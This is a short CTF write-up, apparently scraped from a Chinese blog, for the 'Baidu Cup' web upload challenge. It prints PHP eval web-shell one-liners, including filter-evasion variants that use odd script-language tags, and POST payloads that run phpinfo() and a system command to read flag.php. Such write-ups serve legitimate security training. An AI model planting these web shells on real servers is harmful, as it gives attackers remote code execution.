当前位置:网站首页>"Baidu Cup" CTF competition in September, web:upload
"Baidu Cup" CTF competition in September, web:upload
2022-07-05 13:19:00 【Part 02】
Topic content :
Pass as you want , It's just that wayward .
tips:flag stay flag.php in
<?php @eval($_POST['Pai']);?>
<script language="pphphp">@eval($_POST['Pai']);</script>
<script language="PHP">@eval($_POST['Pai']);</script>
At this time, the code can't be seen on the page and the source code , direct post
Pai=phpinfo();
Normal command execution acquisition flag
system('tac ../flag.php');
边栏推荐
- PyCharm安装第三方库图解
- There is no monitoring and no operation and maintenance. The following is the commonly used script monitoring in monitoring
- go 指针
- uni-app开发语音识别app,讲究的就是简单快速。
- Write macro with word
- Can and can FD
- Summary and arrangement of JPA specifications
- STM32 and motor development (from architecture diagram to documentation)
- Rocky basics 1
- Talking about fake demand from takeout order
猜你喜欢
Actual combat simulation │ JWT login authentication
MySQL --- 数据库查询 - 排序查询、分页查询
解决uni-app配置页面、tabBar无效问题
碎片化知识管理工具Memos
一文详解ASCII码,Unicode与utf-8
Fragmented knowledge management tool memos
【服务器数据恢复】某品牌服务器存储raid5数据恢复案例
Association modeling method in SAP segw transaction code
leetcode:221. Maximum square [essence of DP state transition]
PyCharm安装第三方库图解
随机推荐
Backup and restore of Android local SQLite database
mysql econnreset_ Nodejs socket error handling error: read econnreset
How to realize batch sending when fishing
Get you started with Apache pseudo static configuration
“百度杯”CTF比赛 九月场,Web:Upload
FPGA 学习笔记:Vivado 2019.1 添加 IP MicroBlaze
先写API文档还是先写代码?
Datapipeline was selected into the 2022 digital intelligence atlas and database development report of China Academy of communications and communications
Write API documents first or code first?
My colleague didn't understand selenium for half a month, so I figured it out for him in half an hour! Easily showed a wave of operations of climbing Taobao [easy to understand]
Reverse Polish notation
Natural language processing from Xiaobai to proficient (4): using machine learning to classify Chinese email content
《2022年中国银行业RPA供应商实力矩阵分析》研究报告正式启动
峰会回顾|保旺达-合规和安全双驱动的数据安全整体防护体系
go map
Rocky基础命令3
Introduction to sap ui5 flexiblecolumnlayout control
Go string operation
A detailed explanation of ASCII code, Unicode and UTF-8
前缀、中缀、后缀表达式「建议收藏」